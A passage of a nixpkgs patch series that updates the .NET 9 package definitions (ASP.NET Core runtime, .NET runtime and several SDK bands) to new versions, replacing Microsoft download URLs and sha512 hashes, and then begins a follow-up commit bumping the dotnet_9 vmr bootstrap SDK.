+        hash = "sha512-mt2dv5Xg0yqAjF8b363gOAWSfyyF+m/Aq9H8hN8P7lDGJ//VZ7m0qHsL74Kj81U/g1Ehkzj7CnQwoUB2oyL2gg==";
       })
     ];
   };
 
 in
 rec {
-  release_9_0 = "9.0.5";
+  release_9_0 = "9.0.6";
 
   aspnetcore_9_0 = buildAspNetCore {
-    version = "9.0.5";
+    version = "9.0.6";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-arm.tar.gz";
-        hash = "sha512-eIX4bcjP1VVwFzn0fhxHQKzPuyqu7vYpwp/XXCEcpVbt+HN8lCcYz4t8+oiGAN17qBk6K+G7vwdUztlS12IXyA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-arm.tar.gz";
+        hash = "sha512-Q18eHRmdi0kBVaTaNSQRN9FxGWsi3RnCM2g9BDHYSOE6QkRWP09DhJl0WfQKdnr3202yP22nIs75oRxzJQqd2Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-arm64.tar.gz";
-        hash = "sha512-vR2xRaKbLu9EDroEkcW3C/KeZ5PrqrRT0pOb06wWH3wz4+Sx5lpzTdT9RBUTV7TBUKTPy1recknL8tAyZtazKw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-arm64.tar.gz";
+        hash = "sha512-inAkvRRCVPQAwHWO/Vw5hU66XX4xh/veLchXzt2QEq6TrO6xaDv2vzkM77pAxQ+VzDKVoajrgxM6jgG5EonfxQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-x64.tar.gz";
-        hash = "sha512-tguLX6a0U4BlFmzRJm0HXGTEZLKBFZ2YvwMTK/NjR4zMEYWppRc4y+N9hnUoIPa+St1SCBIKgN+yv0qLWNIsxA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-x64.tar.gz";
+        hash = "sha512-VMEixMYSfOfg8K0EeaEB2xRVSEyeW/+o/cDdctLbAovoaGHzMfLHwcsurumpLnQeTl2lZ3lVM+Rq8n5OSBwEUQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-arm.tar.gz";
-        hash = "sha512-YryhSVOANUVOUhIuUGVy3SbtE7Nwfsd9zArXqzntONdpMXBnbjjuvOslKei1avpYePHAh087DYOR7AF9Jjhnrw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-musl-arm.tar.gz";
+        hash = "sha512-8OfrOheC79iKYMXEW4nyRAaP3Jz7GeD/0LR2Cg9xJfQ/K9AOqvaa1e0rXyt00oR8kW/3lXnHdiin01hl1yuqww==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-arm64.tar.gz";
-        hash = "sha512-EuBQLBGHmpPlpWjRm0o7UKCWQluSRyDP3E0s5TI0URhULqLdycxAn507cG9srClSr/o9JTF8vyQL1p1DFZ4c6w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-musl-arm64.tar.gz";
+        hash = "sha512-xh80kOf2wtQ72Y35WUo4qZE8n2AWiL8GMbviHVUyml9XMfzEwPa/YNtNjpnwtQcAsYhtNC0fiZqN2+nprpbw0A==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-linux-musl-x64.tar.gz";
-        hash = "sha512-iA1sUWr0bdoGhsDlalXK1djDS/48rNvuaKnSGl/56e6TpsQn7wqr1MRauVqncu3JuJkn840HYZ22IZyT5vbkOw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-linux-musl-x64.tar.gz";
+        hash = "sha512-22cIKmvRLSaN+zk9rBLfMWJo5SQBBm5GrtIa3MVaadMQLVegkwvVsOWiDlq89k1J7KmVGLKskS13mgBH02xFvg==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-osx-arm64.tar.gz";
-        hash = "sha512-t8U4cBgq0tJOBSfDvtbUYmdrOuFfqE45fuaMhLp6IrqnJVrfaBZvQclyE3gWnGOGTcL90HozqvAWwjqHoWjOxQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-osx-arm64.tar.gz";
+        hash = "sha512-iTQiffdr2Iq50nb9qKmrmBy4syAgF8TiY6RLwBzor+X1Pai6BGzFpIQaPeD3IXZ9kJZFWXl9A5cUT07RRv9pHg==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.5/aspnetcore-runtime-9.0.5-osx-x64.tar.gz";
-        hash = "sha512-Zimt0BcbjwVBVbcLw7jcbOmfHZXGtlVoJWQcDophzagfIdB7x6p9mT/1H5VE72maJ+yhL9LV7rRnI63i/Sb5mg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/9.0.6/aspnetcore-runtime-9.0.6-osx-x64.tar.gz";
+        hash = "sha512-SaXkIpnyK/0qpBb2aXernIdJ0uBGSSVZFebXugmJ1f0lObX+G6QV4fO106sVKBghoHo1853Rwl20mujK0SQn3w==";
       };
     };
   };
 
   runtime_9_0 = buildNetRuntime {
-    version = "9.0.5";
+    version = "9.0.6";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-arm.tar.gz";
-        hash = "sha512-AK62AMDFfFA0gGXYWM2F7GW3K7HBN4VD+RCPPNK18z1S8/A04UL0XpLHbBceMwkMJUTjZh0B6o8OK7IPEdW5lA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-arm.tar.gz";
+        hash = "sha512-S1SWWuuF0Ix5WAiFxp1Bt7oP3EeGGPQOOghnPXflmHAiFXso6wRCvgwv9PbmWQaOo9PjlnAQneaCB9O3BroGYw==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-arm64.tar.gz";
-        hash = "sha512-/9f20Wu6ohSUtxtpLFSl45jzHPYAhw4CgjS9B2EsttQ2dMY3H6hHC9fxG0CmhEPSLjmoQVfKuOFvUsXFzu47gw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-arm64.tar.gz";
+        hash = "sha512-JKtB00vn9nGNepSJ4hmD6FfnNIyRQVfo+gSm/fAQ1DqUKpdXwFnYjIY+/Trq7WeB+SjaNVAhxQuWXo0JFQIeoA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-x64.tar.gz";
-        hash = "sha512-Ap8d9YDEfyGq7zykDlwfuOVIVJeNE/6IVw33w0CEmf8LnblsSSwD7NtDqCqiTbvoFJHegRkTWSrGKsWN7pdbDg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-x64.tar.gz";
+        hash = "sha512-v+JXt6bcBQU6eE06yWbKf9t6Lv1VOOJ8PqgiqrydOiD0SvRIbfEAIaX2TIkyJMLZR+/QZJLR3zcFVW33ZzcSbw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-arm.tar.gz";
-        hash = "sha512-zOCaJMC5hw4yk4mrKq4uduwiu3g4ZUhQqxe1aVH7oAsVygaS42PNXh5dENHh31poVH08IWFDa4VweNAYK+/SKg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-musl-arm.tar.gz";
+        hash = "sha512-p5eaEL+BJPg1ELaNn1A2vZKiHjtiX+M0zJcbec4haL3iZe92yS1fkJ4lOf1EOtfxQmUnBkfJh3Bxf8ZmrRW9ng==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-arm64.tar.gz";
-        hash = "sha512-3Umzt+5BW+Vm10qpn151lJ9k5wFA1NEOHu01SPU4LmJdXhfps7Qa5WQykhXjwWghEKwXMvMT8rOpDAh/elo5TQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-musl-arm64.tar.gz";
+        hash = "sha512-R5APJLFh3LJ6agxPrM03KkDgwMXrquFfrqF5CrOiNBT36v8zgUKzRQnAvGHsYylSoHvAutUTfThx/IVTpmz/xQ==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-linux-musl-x64.tar.gz";
-        hash = "sha512-gaJt2RlTpHQgi0tDz0F0RC6flQJDfyV+Zuzv5Pm5ujzPWziZ2qwGHjoKzBQdW+IHwD4rERNvR5GykRw+8+JIiQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-linux-musl-x64.tar.gz";
+        hash = "sha512-cK6S/8TNHPB0Ro2Gcaa5fORN68yvckvLUXr2Vc0uddf5h2OJ49g8pOdF31HpfCsiCbc56inLJN1os02xL1iCfQ==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-osx-arm64.tar.gz";
-        hash = "sha512-EqHeE9GnLC5sUZjoOheOG5Mlx8Ropzh8XIopsIVxYL5ROVFgI0hc6RCOJukaNfqCUqjywNWdRpGxzkbWaq2lfw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-osx-arm64.tar.gz";
+        hash = "sha512-2nyZR+f4EqWnQxy11effGy+EwifLfEim/69B8saam3NhlIIgcKBQup5RZt51moFfQ+BtmdOF6Xc3BXyls1HUVQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.5/dotnet-runtime-9.0.5-osx-x64.tar.gz";
-        hash = "sha512-iz6NtMTvr5StbZRi1KcD9ZusOQuRd4d5nX+L55EHmK3ISpaDzanv6/s5ontBpTDptaCC3dGf2IT0PRZ5RsfMRA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Runtime/9.0.6/dotnet-runtime-9.0.6-osx-x64.tar.gz";
+        hash = "sha512-V2g2mCQAFs3NyNUwLoPRSKgg6ILlIe4YFuByXbd7WvHVIgbnAUmgp2KbsRmo5/eU+OgNO4ZvQxbqm4uoFT1Wbw==";
       };
     };
   };
 
   sdk_9_0_3xx = buildNetSdk {
-    version = "9.0.300";
+    version = "9.0.301";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-linux-arm.tar.gz";
-        hash = "sha512-yiCVfT9KCb/7hrshsTef8ZvGKQe1DTcJC7cF8oBksGQTGqAcpDKKKaxmNl7lU5/TFS7+ecYSlK15WLGeYRTU3g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-arm.tar.gz";
+        hash = "sha512-qL8t2zWO4se9evwEDRhCb1ySIGys4FcnmPnOaSXJEN0aST7T41MEyahQmyYhpmRVn/RF0wFK4KA5VZx4ygArQQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-linux-arm64.tar.gz";
-        hash = "sha512-w8SLJW6vCmYkEtyM+/o4e7l/OvhK6csaulPy00r6Xuc1yHuXlUnOl+s6pFHBK9OxDmRT7qbUrAltnu7K7arVQA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-arm64.tar.gz";
+        hash = "sha512-JOIynEDPPkLNHodT2I/ORUvEqau60rAegPMxMKgBEjpTHiJ2c9OBy5cQtxWAXxiP4Ny5gz+30E2rLNk3ofSA7Q==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-linux-x64.tar.gz";
-        hash = "sha512-3KttrvMWQ5DQntwWnUv47DSArxKI6XZsB9INPHtwUX0mMIPDkAOB/aWcOn8K7z/XXuT2BBc8iJ6CItZEkJHYQw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-x64.tar.gz";
+        hash = "sha512-dBWiZIQ9PfeL1X+y8XB06BHgsZOXakW01neNPruSZoVMTgN8PN9LU03nuMZHmbDljc6frG8/PGyssylVVdMdTw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-linux-musl-arm.tar.gz";
-        hash = "sha512-4Z9Pe/zpXnMRKv3kLnwWyJfAFhleuzb05BGjvxqpOfTBRW+dSruWjcjrp1UxyO2utnPfDp5XDY3Fy3JcpXcA1Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-musl-arm.tar.gz";
+        hash = "sha512-0B+cAc5u1sukC0OBsSduuAyqZY8f/I/zrkE2nMSq0DFzn94x5jy0J1A/G3EnRwDPu7jVTzpvOsRQVdkmCsrRWg==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-linux-musl-arm64.tar.gz";
-        hash = "sha512-DZxb8oXxOsMgbOMn7/44T7yhGvc5yCwiKydGVIZsWNiDONZrkdRReQbXq+ujPpfdhpx1tSt87O8Qrz5uIG6tsg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-musl-arm64.tar.gz";
+        hash = "sha512-t4Jjj28NFKuRDeOVJ0sWlmTGUrU05HaznSGcVaRtYxTuUdSiykcJvsBFrB6yd/OJspDqxcmmt15QG+QsBxVj9w==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-linux-musl-x64.tar.gz";
-        hash = "sha512-oD/T93LyiMUBrgy5UKyaNJF4XQ85Zg+xKBSp/EDVj32vuDWj/7jl5AFqnRmdDfuWDgU7u2lbVKWAOWfx8vL+Mw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-linux-musl-x64.tar.gz";
+        hash = "sha512-ggXwZUvRciNkVDWH6dLqQ7CpbsmSXDeR8uf0+wT0paNIyiOGCS6hVkpyfgA05Gd11ClJCeuEBTWNYu6DM9Xcjw==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-osx-arm64.tar.gz";
-        hash = "sha512-/sUozHDt9D5tkfFvkzxUuUN3aJnnwtTefv36WBFz1GeTsjOr9bye1Wbp2ejTeg+WtUN4P91YH2Oq8YZ4uCykJg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-osx-arm64.tar.gz";
+        hash = "sha512-NvGut6/yqsEXkZ9Xq61yXInay4eaPDuNQbAVdWAs6y1crYBdPG1noP2gIIskd9DVhmjBMyFTku5lv4hYZXHkPA==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.300/dotnet-sdk-9.0.300-osx-x64.tar.gz";
-        hash = "sha512-Nv837sdkybUJ/s6n6kfkrT1yO0DrRjFY3oWk9w2rZYOYnEy3MkqOAP3nJ9+ne3/2P0icJV286Hwe5yWuRF7vYg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.301/dotnet-sdk-9.0.301-osx-x64.tar.gz";
+        hash = "sha512-W7pAH5tkUMDuUd3DlDx5q5LtkYjh1CCAAf+Xr3my+1HbkkNVSMR/6UP2n6PC6I746UCMeCGlnYQyuEN5d3cGXA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -523,39 +523,39 @@ rec {
   };
 
   sdk_9_0_2xx = buildNetSdk {
-    version = "9.0.204";
+    version = "9.0.205";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-linux-arm.tar.gz";
-        hash = "sha512-P56c2FwF0qyroyXqJN51jKMDvvjRL+NS1thfSNPrqROCbndU9a/0Cm5o5r/6SRrOjOUtQaz/7CuE2yGMI7tNvw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-arm.tar.gz";
+        hash = "sha512-kAAySurNNVyxeALQIFeSW2CVuYp7Mb0G1sSecfky1LEhx1mp//d65A5Id+R1tbcMtx/RSc010P9/wxccasCyJA==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-linux-arm64.tar.gz";
-        hash = "sha512-svuIOmDmj0HniKk7UCp87runjwFEgSw2X2/E0pqlYqFtxNCrK0lujIFnkf1qhktqVjdX1iI0rpfruS3UhJmiLA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-arm64.tar.gz";
+        hash = "sha512-ykyJxPqbPC0JZrEonkoKGpJrN3jZdPTjISSiGRwruZUrgMPTYjXu5zEDEAI/yfR54FuE+0qGdrl+G09zm34aEA==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-linux-x64.tar.gz";
-        hash = "sha512-8y3j3K/xPO/OThJMLq5IZBeKdMycs84pMkHJp6xKO0YK8WVQMO8LtcOT3rnwddu/w3cuCcBsQn9fjPv0EXSdyA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-x64.tar.gz";
+        hash = "sha512-344tlaYXBRxEpSRHETcwCGjVK1I8xB6PjTGq3paEB65AbVtuR/SE9gO+UsCm5WdYbw+cFv/CWUTzqPQviMPHgQ==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-linux-musl-arm.tar.gz";
-        hash = "sha512-A+/tuYUfwPpanWcSR/vsNG7R1/VezSGzKczL7cbRzK4jXJTpOm+0IVrbahhWOfsKsaebhkjTdYy5Db03SquBzw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-musl-arm.tar.gz";
+        hash = "sha512-2WtVOm0dkME4LIDdpo3UIA+1fMNA84wSdYBlOugmdc2Z7zu2W38VP0OdQjQQJepOARYpRNiNpQuNdXv2qHFs/Q==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-linux-musl-arm64.tar.gz";
-        hash = "sha512-PcjqCRnBEFxi6lRSvt+kGTgoYCDi1THvm7aZm13z+xkJij3/WYAvudObbIpqblZTyzV/osTuzq7gOb4ivg0bUQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-musl-arm64.tar.gz";
+        hash = "sha512-l4LgozcmzOAb9oqEMcf+z67rqt4heW7wBBfC+Qch/00554WekejNZur0wGbpAZ98C8rKmESzcBTC6c5BYkuWRg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-linux-musl-x64.tar.gz";
-        hash = "sha512-Ap+teWSeHzswdNzuW67oOgETF8IXOz8nsPojCQ4k12EckfeVY2z7O/zF9JK10e3XbXJT4SAjSbfijHalmqE/Kw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-linux-musl-x64.tar.gz";
+        hash = "sha512-zmsD+9lVviKgVRyGFPVsBOyA3iFDdeal3sLMm2xk+NbTDxha2NjO9C0FXPiZqliCF/10xvsNUbE4tqMn+APkkA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-osx-arm64.tar.gz";
-        hash = "sha512-w1LYz8S8UMW9bjusIEwmSKzn/y259+O9n7GUTchFLqRXoKy1QpCY6x0zIk7ol68OLImgfg58jFoLzoypo28dqQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-osx-arm64.tar.gz";
+        hash = "sha512-nHUwIcJqAXjPu096LPS+ZeLvHGzmiRLFk2x8yZKwJg8UpEkAdzFMNjdE9Svpb0MvFpg4ot9LXdAL09P/mFW0oQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.204/dotnet-sdk-9.0.204-osx-x64.tar.gz";
-        hash = "sha512-HQThbT7cLWYc0AJhqHtVhLTpGlOfCu58YiiCt7JwZQI9RDAnCyUnhD7Zd7ns60KeqYX/2gwqpI8enVfBeE6RZQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.205/dotnet-sdk-9.0.205-osx-x64.tar.gz";
+        hash = "sha512-7kuNG2Gwj9z+mM320ctGNUroIDsSVgxz55hkid/NhcXBhusIXuRNavkKCnAsvQxc4dnrTx4NSTPrBD6ztvY7KA==";
       };
     };
     inherit commonPackages hostPackages targetPackages;
@@ -564,39 +564,39 @@ rec {
   };
 
   sdk_9_0_1xx = buildNetSdk {
-    version = "9.0.106";
+    version = "9.0.107";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-arm.tar.gz";
-        hash = "sha512-IxjIV4THukOiQ+D1Jix4zCmEqV/O74t4VQNYU9nHtCC362gcjfiiOWmSbWZSxpN8+xscKWHgoVXG8UUwIkC00w==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-arm.tar.gz";
+        hash = "sha512-Netr9KteJY5TUHInT3Cq79H7KV60TTK1tCCG9yFhUjlPsKgqe+Ec2IPB1XQK1/CICfL52/zovADlok10bcZAeQ==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-arm64.tar.gz";
-        hash = "sha512-GAY+1Tnvz5emgms6NnuSV0M4Zj6BXkx60nOhdSSnq1411AdZb1zWscCjfmlbF6kVYgwURcqJu4UasP80rMo09Q==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-arm64.tar.gz";
+        hash = "sha512-+j6JtbaaUAOOnsKttWoW1QZPxaCAG6jlZ2ouECprsiDU+duEvkm3RCFLOOWDyCmGMyROu09HyGT9fofq+xN2hQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-x64.tar.gz";
-        hash = "sha512-+XfJCl5Ww9t7fU4jhEzbSW7pZr0xrWP4uENjp+/yij+xQQk1A4G9g23bxn1nUPP33VVHHkxdALAhQ0F0GFb7LQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-x64.tar.gz";
+        hash = "sha512-WI6GA9vlFMIw7bAwfJhSLL1hUKN0JC3GphZ/m+h5MTqKKJUwUoKGV4TqopbI3ujL3gpnntuNy/etqmwfegtiBg==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-arm.tar.gz";
-        hash = "sha512-LJqqzcQ+Lai8ZNtRe0q0Dzh/kSky3Cbpn0Mzi//SzthnRyXtGF5gqzF48OTnI+xfwpd09iszes1HUhvzia4Wzw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-musl-arm.tar.gz";
+        hash = "sha512-aGe+uyjP8y4e+/guk4P1mY0QlrCe5exYdRe1LAcAmQS0tLK83lSr3RBXQYGOalCr3DsVWBbsgsYdVZOnzpE71g==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-arm64.tar.gz";
-        hash = "sha512-g00TYlXiwiDnwDJ7xH6JMmtX4DUrarAau6Bzy9pNTSkzy8auREDyuZEaUq1dBbwPf/s255D56kVhVn3T4ivVFA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-musl-arm64.tar.gz";
+        hash = "sha512-jBd0X3G3xZmwm3VGzQ4gm89vz7R91Ie1lDSme+uvVPI6lWlO0wcpAlbeeA8iV9L1oAgCGTHx2kzJkKn1AHzVhg==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-linux-musl-x64.tar.gz";
-        hash = "sha512-KPWtrtyl37HAElwyN4lIXJclkaZcvVGPtdlR1zEx3h56kv8JcTYieI0CrPeJBvp0ElOMbH6bPEv2cV9klf+CbA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-linux-musl-x64.tar.gz";
+        hash = "sha512-JwIJpXfq2TOHOP17WlXmLoPHOpI/n9gfSXcdCtNt8fQaD6ThkkdXFD4V8bQQUioi0VksixaWrehVRH8eaIISdA==";
       };
       osx-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-osx-arm64.tar.gz";
-        hash = "sha512-2145z/0yvpm5oO4oxu3pBjcYAzhpNwHRGnAtBW2v9QW9gtTnyPDLNB4g+gK5dlYS6ogIr0DaPrxqFs1tP8HqPg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-osx-arm64.tar.gz";
+        hash = "sha512-DBGIKo5yDOekc/y8WQYZKqFO6HR+Gnis1Vz6CwozcZQJPmDVOodSf6Ph59QgqrwzLTq2qwntbrtcxr+hec71cQ==";
       };
       osx-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.106/dotnet-sdk-9.0.106-osx-x64.tar.gz";
-        hash = "sha512-wTKDAvkLLY0SOqCyfiCFcd17LMIwTgexqZe8BmRMXqMLsdCJ/A0/FO+kH/TQm5FA1Yqo/TtqGYeXXVbnUL2oDQ==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/Sdk/9.0.107/dotnet-sdk-9.0.107-osx-x64.tar.gz";
+        hash = "sha512-7DDDGmtizw3ONqaIK3E2T+dObWNaQ3sM6auA9Udw4mwAys69YqFGoeJUWRO611yLxTjl1TdO9Np3JdkpLD4p3w==";
       };
     };
     inherit commonPackages hostPackages targetPackages;

From 474f166cad55414dc254fe62640f885fe2f1128d Mon Sep 17 00:00:00 2001
From: David McFarland <corngood@gmail.com>
Date: Wed, 11 Jun 2025 00:45:08 +0000
Subject: [PATCH 1075/4511] dotnetCorePackages.dotnet_9.vmr: 9.0.5 -> 9.0.6

(cherry picked from commit d31ec4cd436add11b646a248cf423d8aa0895b3e)
---
 .../compilers/dotnet/9/bootstrap-sdk.nix      | 376 +++++++++---------
 pkgs/development/compilers/dotnet/9/deps.json |  48 +--
 .../compilers/dotnet/9/release-info.json      |   6 +-
 .../compilers/dotnet/9/release.json           |  12 +-
 4 files changed, 221 insertions(+), 221 deletions(-)

diff --git a/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix b/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
index 1de532e5dda1..10778a6c79eb 100644
--- a/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
+++ b/pkgs/development/compilers/dotnet/9/bootstrap-sdk.nix
@@ -11,28 +11,28 @@ let
   commonPackages = [
     (fetchNupkg {
       pname = "Microsoft.AspNetCore.App.Ref";
-      version = "9.0.4";
-      hash = "sha512-3PtHQSZxBCCvfmDGGZi5ksZCpZRdYbtu3LrkeBi3SLIqH355CawHjAAjXJKZWHdIzvbjU57iRAjFReSZVyUKmA==";
+      version = "9.0.5";
